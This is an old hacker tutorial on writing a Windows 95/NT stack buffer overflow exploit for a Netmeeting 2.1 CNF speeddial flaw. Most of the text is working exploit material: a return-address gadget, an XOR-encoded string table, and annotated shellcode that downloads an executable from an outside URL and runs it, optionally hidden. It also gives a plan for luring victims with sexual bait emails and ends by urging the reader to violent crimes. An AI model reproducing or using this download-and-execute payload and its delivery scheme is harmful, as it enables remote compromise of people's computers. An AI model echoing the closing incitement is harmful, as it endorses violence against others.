A buffer overflow occurs when something very large is placed in a box
far too small for it to fit. It's all gotta go somewhere. An example in
code is as follows:
buffer[i]='A'; // !
As you can see, our 'buffer' gets filled with 256 'A's, followed by 256
more that just don't fit. The rest of those 'A's have to go somewhere.
And where they go depends on your operating system implementation and
programming language, but if you don't have automatic bounds checking like
Java, I guarantee you that those 'A's are going somewhere unfortunate.
Here is a picture of a healthy 32-bit stack, in such an
operating system as Windows 9x/NT running on an Intel platform. It looks
like what it should look like at the point marked *
in the code above.
EBP-> Old Value of EBP
When the "func" procedure returns, it moves EBP back into ESP, and
POP's the return address off the stack. When the above line of code marked
'!' executes it overflows the buffer, writing 'A's
over the old value of EBP and over the return address. By overwriting the
return address, you can seriously alter the course of program flow. All
you have to do is change the return address to point to a memory location
of your choice, and the code you want to execute will be reached when this
procedure decides to 'return'. If you stuff the buffer with code bytes,
you can then reroute the EIP to them on the next RET, since the stack is
considered executable memory in Windows 9x/NT on the Intel architecture.
The lesson on basics is over. If you have written a buffer overflow
exploit on other operating systems or have fully mastered these basic
concepts, we will go into detail on how to recognize the buffer overflow
condition in Windows and proceed to detail on exploitation.
What It Looks Like
When you see something like this,
you probably hit some kind of buffer overflow. Sure the error is
somewhat generic looking, but look a little closer at some of those
To get this to happen, I fed a string of 0x80 bytes into a
popular conference package called 'Microsoft Netmeeting' through the
address field of a 'speeddial' shortcut. EIP happens to be 0x80808080.
Guess what? That's good! I found a stack overflow! Now all I have to do is
craft my exploit string to have some fun code inside, and tweak four of
those 0x80 bytes to point to my exploit string.
Note at this point that other types of errors will bring up similar
dialog boxes, and that not all of them are buffer overflows. Some buffer
overflows are easier to exploit than others as well. I will be going into
the mechanics of stack overflows in Windows in this paper. Other
types of overflows, such as heap overflows are exploitable, on
Intel Win95/98/NT, but are beyond the scope of this paper by about 50 IQ
points from the target audience.
Once you're pretty sure that you've found a buffer overflow, you need
to decide what approach you're going to take, and find out what tools are
available to you.
How Can This Be Used?
Now we need to figure out what's really going on. To create the buffer
overflow situation, I created a file called "overflow.cnf". CNF is a file
format used by Microsoft Netmeeting when you save a 'SpeedDial' shortcut
to disk. CNF files are commonly placed on people's webpages and in emails
so that people on netmeeting will give them a call.
If you wanted to exploit this overflow, you could simply start up
Netmeeting, find a bunch of people on the ILS server, and send them email
with the CNF file attached. Just make the mail say something like: My
girlfriend and I want you to watch us fuck while you spank it! Call us
soon, we're horny! They'll click the icon. It may also be possible to
fake a connection to an ILS server as well, creating a fake user and
supplying the bogus address line with our exploit it in, so that if they
click on the name, they get zapped. All kinds of fun owning the machines
of horny men looking for titties on the net!
So. Let's do it! What do we have at our disposal? Well, the overflow is
in 'RUNDLL32.EXE', which is of different sizes between Windows 95 and
Windows NT. It's a safe bet to assume that they have different import
tables (go ahead and verify that yourself with DUMPBIN). Oh, by the way,
this particular overflow will only happen in Windows 95, but the exploit
technology is valid for Windows NT as well. Netmeeting 2.1 was the
version, by the way.
The Good And The Bad
When that crash occurs, and you hit 'close', you'll notice that
Netmeeting itself does not close. This means that RUNDLL32 is being
launched in a separate process space. This is both good, and bad. The good
side is that you don't have a lot of complicated code to wade through and
whatever you do, it won't look too suspicious, because Netmeeting didn't
close. The bad side is that RUNDLL32 doesn't load too much in the way of
DLL's or external resources. It looks like we'll have to load those on our
Upon further inspection, we have even more shit to deal with. An
executable, such as RUNDLL32.exe has a base address of 0x00400000. This
means that almost all references to the stack are going to have at least
one NULL character in them. This is unfortunate, because it is almost
always runaway string operations in C that cause these kind of overflow
problems. Hence, if we write our code with null characters, we will harm
our own exploit string because it will be truncated as it is manipulated.
Other bad characters include line feed, carriage returns, some control
codes, and in some extreme cases, even lowercase or uppercase letters, or
characters whose ASCII value is greater >= 0x80 (one of the worst cases!)
We're just going to have to be clever.
Other things we have to work with: MSCONF.DLL is loaded. This is
because RUNDLL loaded it. We notice this because the command line for
starting .CNF files is "rundll32.exe msconf.dll,OpenConfLink %l"
as defined in the CNF file type. We can also assume that KERNEL32.DLL is
loaded because KERNEL32 functions are listed in RUNDLL32's import table.
Then again, KERNEL32 functions are also listed in the MSCONF.DLL import
table. Lets look to see what would be more reliable: We're hacking
Netmeeting 2.1. One version of the product. One version of MSCONF.DLL.
There could be any version or revision of RUNDLL32 or KERNEL32 loaded from
various OS versions or upgrades. Hence, if we were to reference an
absolute virtual memory address, it had better be within MSCONF or else,
we might be poking into the wrong places (version skew!). This is
problematic, assuming that we want this exploit to work on all versions of
the target OS.
So... we look at how other programs get their addresses. We want to be
able to use internet functions to do fun stuff with our exploit code, so
we are going to need to use WSOCK32.DLL or WININET.DLL. WinInet provides
more functionality with less code, so we'll go with that for now. WININET
is not loaded into the process space of RUNDLL32, so we'd have to load it.
But wait! We haven't mentioned how to gain control of the EIP and point it
to our code yet! So we shall...
Snatching the EIP
So we found that through a buffer overflow of the right length, we
could modify the return address of some function and jump to code of our
choice. It would seem natural then, for us to do something like the
Since the buffer size is 256 bytes (we figure that out by
experimentation, slowly growing and shrinking the address= line length
until we home in on the exact number of characters that cause it to crash)
the above string will fill the buffer with 256 periods, overwrite EBP with
0x34333231 and set EIP to 0x00ZZYYXX, since the string ends with a null
terminator. This lets us point to wherever we want in the stack because
guess what, we're allowed 1 NULL at the very end!
In some cases, this works fine. But in other cases, the buffer is
either too small for this to work and do something useful, or the buffer
is first munged by a bunch of string ops or parsing. In many cases,
putting the code AFTER the return address is a better idea, as follows:
In this case, you often get a lot more code space to work with for
writing your exploit, but we don't get the added benefit of getting a free
null character to form our stack jump address. Turns out that putting the
code after the return address is what we'll need to do for this exploit.
The stuff before the return address is destroyed before we get a chance to
work with it. We end up jumping to 0xZZYYXXWW, where neither WW,XX,YY, or
ZZ can be invalid chars. So where do we go? Somewhere that can take us
where we want to go.
First, turn on your realtime debugger and put in an exploit string that
will surely cause the thing to crash. Something that points to a blatantly
bad address (set 0xZZYYXXWW to equal 0x34333231 for example. No code is in
memory there, instant page fault). Now run it and let your debugger kick
in. Examine the state, and see what you have to work with. In the case of
this exploit, we find that ESP is the only register that points to
anything anywhere near our exploit code. In fact, it points to the
location where we blew over the saved EBP, plus 16 bytes. Ok... So what
exactly are we trying to do?
We want to jump the stack. In fact, simply jumping to ESP should be
sufficient. A clever way to do this is to set the 0xZZYYXXWW to point to a
piece of code in memory that does a "jmp esp" or a "call esp" or something
like that. But, to complicate issues, it has to be in a piece of code
where no byte in the address is a "bad byte", especially 0x00. We
find our magic code in MSCONF.DLL, loaded at 0x6A600000, offset 2A76:
.00002A76: 54 push esp
.00002A77: 2404 and al,004
.00002A79: 33C0 xor eax,eax
.00002A7B: 8A0A mov cl,[edx]
.00002A7D: 84C9 test cl,cl
.00002A7F: 740F je .000002A90
.00002A81: 80E930 sub cl,030 ;"0"
.00002A84: 8D0480 lea eax,[eax][eax]*4
.00002A87: 0FB6C9 movzx ecx,cl
.00002A8A: 42 inc edx
.00002A8B: 8D0441 lea eax,[ecx][eax]*2
.00002A8E: EBEB jmps .000002A7B
.00002A90: C20400 retn 00004
This code doesn't look like it jumps to esp, but that's because it
doesn't. It returns to ESP. The PUSH ESP happens, the jmps 2A7B
happens once, then the JE 2A90 kicks in and pops us to a RET. This
effectively jumps us to ESP. Heh. So all is well. MSCONF.DLL is loaded,
and we can expect that this code is going to be in the same place all the
time because we only have one version of MSCONF.DLL to worry about, and it
has a fixed DLL base address. So our value of 0xZZYYXXWW is 0x6A602A76. No
nulls, no bad chars, no bullshit. We have now snatched the EIP. The
processor is ours. Now to do something useful...
Constructing the Exploit
We are now in control of the machine. We need to do something useful
now, but we are limited on how long we can make our code. You'll notice
that after about 763 characters, that we end up crashing in a different
place. This is also an overflow, a different one. So Microsoft really has
two bugs to fix, but hey, we're only exploiting one right now. If we have
time, we'll get back to the other.
The first 256 characters get blown away so our code only has about 500
bytes of room in which to fit. Here's what we have to deal with:
- 500 byte maximum exploit length
- We don't know what OS version we're running
- We don't know where any useful functions are located
This kinda sucks, but let's look at this from a non-exploit point of
view. If I was a little executable, compiled for Windows, I would run on
both Win95 and WinNT. If I want to call ExitProcess, how do I know where
the function is? It's in two different locations in Kernel32.DLL between
the two OS's. (and in two different places between OSR1 and OSR2 of W95,
and various service pack releases of WinNT, for that matter). I can't just
jump to a random address.
I have to be told the location of these functions. There is a
function in the Win32 API called "GetProcAddress". It returns the memory
address of a function, given it's name and it's module handle. So what's
the address of GetProcAddress? We don't know! We would have to call it to
find out! So how does it work? Import tables.
Import tables are structures in the PE-Executable format that specify
that the operating system should tell us the location of certain functions
and fill in a table with the values. Use DUMPBIN to get the import table.
Both DLLs and EXEs have import tables. We know that MSCONF.DLL is in
memory, and that since we're only dealing with one version of MSCONF.DLL,
if GetProcAddress was in it's import table, then the address for
GetProcAddress was written to a fixed location in MSCONF.DLL's table space
by the operating system when it was loaded.
So we dump it:
Microsoft (R) COFF Binary File Dumper Version 5.10.7303
Copyright (C) Microsoft Corp 1992-1997. All rights reserved.
Dump of file msconf.dll
File Type: DLL
Section contains the following imports:
And there we are! GetProcAddress, and LoadLibraryA!
LoadLibrary can be used to get module handles of DLLs that are
loaded, and to load DLLs that aren't loaded. It basically returns the DLL
base address. This is important because the base address of the
KERNEL32.DLL differs between NT and 95.
So we pop into our debugger and search through memory until we find the
address of the functions. They appear at 0x6A60107C (LoadLibraryA),
and 0x6A601078 (GetProcAddress). We just need to call these
locations using an indirection (call dword ptr [0x6A60107C]) and
we'll go to the right places.
In order to be efficient, we are going to build our exploit in two
- Build a jumptable of the functions we intend to use, and
- Run our code with reference to our own jumptable.
This reduces the amount of code required to call a function when
necessary, and minimizes stack usage to save registers. This is important,
because if we PUSH or POP too much, we might blow away
our code or cause other stack problems. In order to build this jumptable
though, we'll need to know ahead of time what Win32 functions we'll be
calling. So lets figure out what we want to do. 500 bytes is far too small
for a really useful Windows program, so instead, we'll make our little
egg code download another program off of the internet, a larger, well
constructed executable, and execute it. This will enable us to write this
little tedious chunk once, and have it execute a piece of higher level
To download a URL, we'll need InternetOpenA,
InternetCloseHandle, InternetOpenUrlA, and
InternetReadFile from WININET.DLL. We'll also need _lcreat,
_lwrite, and _lclose from KERNEL32.DLL to write the
file to disk once downloaded. We'll need GlobalAlloc from
KERNEL32.DLL to allocate memory for what we're downloading. We'll
also want WinExec and ExitProcess (also in
KERNEL32.DLL) to execute what we've downloaded, and kill the
RUNDLL32 process that we so thoroughly corrupted (before it can make
Note that in a regular Win32 program, you would never call _lcreat,
or any of the other obsolete functions. However, they exist in Win95 and
NT, and they have far simpler calling syntax than CreateFile and
friends. So we'll use 'em.
Creating our Jumptable
Now to create the jumptable.
Hurdle #1: We need to refer to the functions by name
That's right. GetProcAddress calls for either a function ordinal (which
we can't use because they change from version to version), or a function
name. A NULL terminated function name. Our exploit string has to
have null characters in it? Oh shit! We should have thought of that
earlier! That and we'll have to package this thing with a URL string as
well for it to download!
So we be clever again. Since no character in any of our function names,
or in our download URL is above ASCII 0x80, it's safe to tack all of the
names and the url to the end of the exploit string, and XOR (or ADD for
that matter) 0x80 to all of the string bytes. And when we start up the
exploit, we simply XOR the tail of our exploit with 0x80's. This has the
added advantage that the naked eye looking at the exploit string won't be
able to tell exactly what we're trying to do. Not good encryption, but
that's not the point. We're just trying to make it _work_.
So we tack the following crap to the end of the exploit string:
00000270: .. .. .. .. .. .. .. 4B-45 52 4E 45-4C 33 32 00 KERNEL32
00000280: 5F 6C 63 72-65 61 74 00-5F 6C 77 72-69 74 65 00 _lcreat _lwrite
00000290: 5F 6C 63 6C-6F 73 65 00-57 69 6E 45-78 65 63 00 _lclose WinExec
000002A0: 45 78 69 74-50 72 6F 63-65 73 73 00-47 6C 6F 62 ExitProcess Glob
000002B0: 61 6C 41 6C-6C 6F 63 00-57 49 4E 49-4E 45 54 00 alAlloc WININET
000002C0: 49 6E 74 65-72 6E 65 74-4F 70 65 6E-41 00 49 6E InternetOpenA In
000002D0: 74 65 72 6E-65 74 43 6C-6F 73 65 48-61 6E 64 6C ternetCloseHandl
000002E0: 65 00 49 6E-74 65 72 6E-65 74 4F 70-65 6E 55 72 e InternetOpenUr
000002F0: 6C 41 00 49-6E 74 65 72-6E 65 74 52-65 61 64 46 lA InternetReadF
00000300: 69 6C 65 00-68 74 74 70-3A 2F 2F 77-77 77 2E 6C ile http://www.l
00000310: 30 70 68 74-2E 63 6F 6D-2F 7E 64 69-6C 64 6F 67 0pht.com/~dildog
00000320: 2F 65 61 74-6D 65 2E 65-78 65 00 .. .. .. .. .. /eatme.exe
But we XOR it with 0x80 to eliminate the 00 bytes, as follows:
00000270: .. .. .. .. .. .. .. CB-C5 D2 CE C5-CC B3 B2 80 -+-++¶¶_«
00000280: DF EC E3 F2-E5 E1 F4 80-DF EC F7 F2-E9 F4 E5 80 __?__þ_«_______«
00000290: DF EC E3 EC-EF F3 E5 80-D7 E9 EE C5-F8 E5 E3 80 __?____«+__+ƒ_?«
000002A0: C5 F8 E9 F4-D0 F2 EF E3-E5 F3 F3 80-C7 EC EF E2 +ƒ__-__?___«¶___
000002B0: E1 EC C1 EC-EC EF E3 80-D7 C9 CE C9-CE C5 D4 80 þ_-___?«+++++++«
000002C0: C9 EE F4 E5-F2 EE E5 F4-CF F0 E5 EE-C1 80 C9 EE +_______-___-«+_
000002D0: F4 E5 F2 EE-E5 F4 C3 EC-EF F3 E5 C8-E1 EE E4 EC ______+____+þ___
000002E0: E5 80 C9 EE-F4 E5 F2 EE-E5 F4 CF F0-E5 EE D5 F2 _«+_______-___+_
000002F0: EC C1 80 C9-EE F4 E5 F2-EE E5 F4 D2-E5 E1 E4 C6 _-«+_______-_þ_¶
00000300: E9 EC E5 80-E8 F4 F4 F0-BA AF AF F7-F7 F7 AE EC ___«____¶ªª___´_
00000310: B0 F0 E8 F4-AE E3 EF ED-AF FE E4 E9-EC E4 EF E7 ____´?__ª_______
00000320: AF E5 E1 F4-ED E5 AE E5-F8 E5 80 .. .. .. .. .. ª_þ___
Got it? Good.
Hurdle #2: We need to decode the string table
So our first task in the code is to decode this shit, so we make this
the first thing it executes:
00000146: 33C9 xor ecx,ecx
Clear ECX, we're gonna use this.
00000148: B88053FF63 mov eax,063FF5380 ;"c_S«"
0000014D: 2C80 sub al,080 ;"«"
0000014F: C1C018 rol eax,018
Set EAX to the end of our data area in memory (we have to do
this ugly funk so we don't get any NULL characters).
00000152: B1B4 mov cl,0B4 ;"¶"
ECX is now 0x000000B4, the number of characters we want to XOR.
00000154: 48 dec eax
00000155: 803080 xor b,[eax],080 ;"«"
00000158: E2FA loop 000000154 ---------- (1)
And here's the XOR loop. Now we see why we XORed from the end of the
memory. Now EAX points to the start of the data, and we can proceed to use
it to reference the names. Now we move on to actually get our jumptable.
Hurdle #3: Loading all the procedure addresses
0000015A: BE7C10606A mov esi,06A60107C
0000015F: 50 push eax
00000160: 50 push eax
00000161: FF16 call d,[esi]
00000163: 8BF0 mov esi,eax
All this code does is call LoadModule. I didn't need to push twice
there, but I was debugging, and hey, I forgot to remove it. NOP it out if
you like. EAX pointed to the string "KERNEL32", which was the first
argument to LoadModule. When LoadModule returns, it will put the kernel
module handle in EAX, which we then save in ESI, so that it won't get
blown away by calling other procedures.
00000165: 5B pop ebx
00000166: 8BFB mov edi,ebx
00000168: 6681EF4BFF sub di,0FF4B ;"_K"
This sets EDI to point to the base of our jumptable, which we place 181
bytes past the beginning of our decoded string table (in further stack
0000016D: FC cld
0000016E: 33C9 xor ecx,ecx
00000170: 80E9FA sub cl,-006
We're going to loop six times, for the six procedures we're loading
from the kernel. So now ECX=0x00000006.
00000173: 43 inc ebx
00000174: 32C0 xor al,al
00000176: D7 xlat
00000177: 84C0 test al,al
00000179: 75F8 jne 000000173 ---------- (1)
0000017B: 43 inc ebx
This loop scans over the text, searching for a null character (move to
the next string, in other words), and then points EBX the character one
past the 0x00 byte. This moves us from one procedure name to the next.
Note the 31337 use of XLAT. I like that. Our whole memory reference in one
0000017C: 51 push ecx
0000017D: 53 push ebx
0000017E: 56 push esi
0000017F: FF157810606A call d,[06A601078]
00000185: AB stosd
00000186: 59 pop ecx
This gets the procedure addresses for our functions, and places them in
the table pointed to by EDI.
00000187: E2EA loop 000000173 ---------- (2)
Loop for all the kernel procedures.
Now that we're done with the kernel, we gotta repeat for the WININET
00000189: 43 inc ebx
0000018A: 32C0 xor al,al
0000018C: D7 xlat
0000018D: 84C0 test al,al
0000018F: 75F8 jne 000000189 ---------- (2)
00000191: 43 inc ebx
This code only exists to move EBX past the name of the last kernel
function and to the string "WININET" in our decoded string table.
00000192: 53 push ebx
00000193: 53 push ebx
00000194: FF157C10606A call d,[06A60107C]
0000019A: 8BF0 mov esi,eax
0000019C: 90 nop
0000019D: 90 nop
0000019E: 90 nop
0000019F: 90 nop
Yeah the NOPs and the double-push are more debugging shit. Get rid of
them yourself if you don't like 'em there. This code gets the module
handle (base address) of WININET.DLL. It stores it in ESI.
000001A0: 33C9 xor ecx,ecx
000001A2: 83E9FC sub ecx,-004
000001A5: 43 inc ebx
000001A6: 32C0 xor al,al
000001A8: D7 xlat
000001A9: 84C0 test al,al
000001AB: 75F8 jne 0000001A5
000001AD: 43 inc ebx
000001AE: 51 push ecx
000001AF: 53 push ebx
000001B0: 56 push esi
000001B1: FF157810606A call d,[06A601078]
000001B7: AB stosd
000001B8: 59 pop ecx
000001B9: E2EA loop 0000001A5
This is just a copy of the code used to get the addresses for the
kernel functions, but this time it's getting the addresses of 4 WININET
functions. I hope you don't need me to explain all of this twice, or
you'll never finish reading this. OK! now we've built us a jumptable. EDI
points to the dword past the end of the jumptable, so we can just
reference our procedures indirectly from EDI now (call dword ptr
[edi-16]). It's just like an import table, but more fun!
Now that we have harnessed all of our tools, they are mere keystrokes
away. It's time to get to the meat.
Time to do what we've come here to do. Lets write this thing:
000001BB: 90 nop
000001BC: 90 nop
000001BD: 33C0 xor eax,eax
000001BF: 6648 dec ax
000001C1: D1E0 shl eax,1
000001C3: 33D2 xor edx,edx
000001C5: 50 push eax
000001C6: 52 push edx
000001C7: FF57EC call d,[edi][-0014]
000001CA: 8BF0 mov esi,eax
This code allocates 131070 bytes of memory. EAX gets 131070, and we
call GlobalAlloc, indirectly addressed from our jumptable -0x14 bytes from
EDI. This stores the memory address in ESI. The type of GlobalAlloc is
GMEM_FIXED (0), which results in a memory address being returned rather
than an unlocked handle.
000001CC: 33D2 xor edx,edx
000001CE: 52 push edx
000001CF: 52 push edx
000001D0: 52 push edx
000001D1: 52 push edx
000001D2: 57 push edi
000001D3: FF57F0 call d,[edi][-0010]
Then, we create an Internet handle with a call to InternetOpenA. All
the parameters to InternetOpenA are zero in this case, so we're in luck.
The internet handle is returned in EAX and we'll immediately set it up
as a parameter to the next function we call...
000001D6: 33D2 xor edx,edx
000001D8: 52 push edx
000001D9: 52 push edx
000001DA: 52 push edx
000001DB: 90 nop
000001DC: 52 push edx
000001DD: 8BD7 mov edx,edi
000001DF: 83EA50 sub edx,050 ;"P"
000001E2: 90 nop
000001E3: 90 nop
000001E4: 90 nop
000001E5: 52 push edx
000001E6: 50 push eax
000001E7: FF57F8 call d,[edi][-0008]
This code makes a call to InternetOpenUrlA (at [EDI-0x08]), invoking
our chosen URL. The URL type is unspecified in the code, so the URL can be
HTTP,FTP,FILE,GOPHER,... whatever the hell you want.
000001EA: 57 push edi
000001EB: 33D2 xor edx,edx
000001ED: 664A dec dx
000001EF: D1E2 shl edx,1
000001F1: 52 push edx
000001F2: 56 push esi
000001F3: 50 push eax
000001F4: FF57FC call d,[edi][-0004]
This code uses InternetReadFile (at [EDI-0x04]) to download up to
131070 bytes into our memory buffer (pointer in ESI). Note that we first
pushed EDI. EDI is where we're going to store the count of how many bytes
are actually read. This is needed to save the file to disk with the right
Note that there is a limit to the size of the exploit executable you
can download. Awww. If that's too small, then too fuckin bad. What the
fuck are you writing anyway, an MFC exploit? Shit...
000001F7: 90 nop
000001F8: 90 nop
000001F9: 90 nop
000001FA: 33D2 xor edx,edx
000001FC: 52 push edx
000001FD: 8BD7 mov edx,edi
000001FF: 83EA30 sub edx,030 ;"0"
00000202: 42 inc edx
00000203: 90 nop
00000204: 90 nop
00000205: 52 push edx
00000206: FF57D8 call d,[edi][-0028]
This calls _lcreat (at [edi-0x28]) to create a file in which to dump
our memory buffer. Time to give this data a home! The filename is chosen
by looking at the last 5 characters of the url. In this case, it's "e.exe".
The file will be created in the place where exploit was launched (usually
the person's SpeedDial directory in the case of Netmeeting).
00000209: FF37 push d,[edi]
0000020B: 56 push esi
0000020C: 50 push eax
0000020D: 8BD8 mov ebx,eax
0000020F: FF57DC call d,[edi][-0024]
And now we do the actual write to disk with a call to _lwrite (at
[edi-0x24]). The parameter for the number of bytes to write is located at
[edi]. We also push the buffer location and the file handle returned by _lcreat.
Before we call the function though, we save the handle in EBX, which is
not modified by _lwrite.
00000212: 53 push ebx
00000213: FF57E0 call d,[edi][-0020]
And then we close the file handle to get things committed. Now all
that's left is to execute the file we downloaded and exit this process. We
aren't going to bother cleaning up the memory allocation or anything like
that. That would be nice, but fuck it, we're not here to be nice.
00000216: 90 nop
00000217: 90 nop
00000218: 90 nop
00000219: 33D2 xor edx,edx
0000021B: 42 inc edx
0000021C: 52 push edx
0000021D: 8BD7 mov edx,edi
0000021F: 83EA30 sub edx,030 ;"0"
00000222: 42 inc edx
00000223: 90 nop
00000224: 90 nop
00000225: 52 push edx
00000226: FF57E4 call d,[edi][-001C]
Alright, now we just tell WinExec to run the executable! Note that the
first 'inc edx' is to select "Show Window" mode for the executable. If you
want the executable to run in 'hidden' mode, you should nop that line out,
and it will use SW_HIDE instead of SW_SHOWNORMAL as the second parm to
WinExec. the first parm is the filename. Run it!
00000229: 90 nop
0000022A: 90 nop
0000022B: 90 nop
0000022C: FF57E8 call d,[edi][-0018]
And now we're done with this process. ExitProcess will clean up our
mess. And so it was done.
This code that I have explained can be used as an overflow egg
for any Windows 95 or NT program. It is theorized to work in a Windows 98
environment. The example Netmeeting 2.1 exploit that I used throughout
this explanation is a Win95 only flaw, but for other operating systems,
the code, and technology remains the same. The Netmeeting flaw is not
patched as of this writing, but expect it to be fixed sometime. Learn.
Experience. And send me all of your money.
Now you can start ruling the world. Have fun with this knowledge. Rob
from the rich, and rob from the poor. Eat your cat. Kill your parents.
Blow up your local elementary school. Rape young farm animals. Do whatever
your sick and twisted mind can fathom. And when you get caught, just tell
'em Satan made you do it.
Oh yeah, and I almost forgot. Here's the whole toy put together.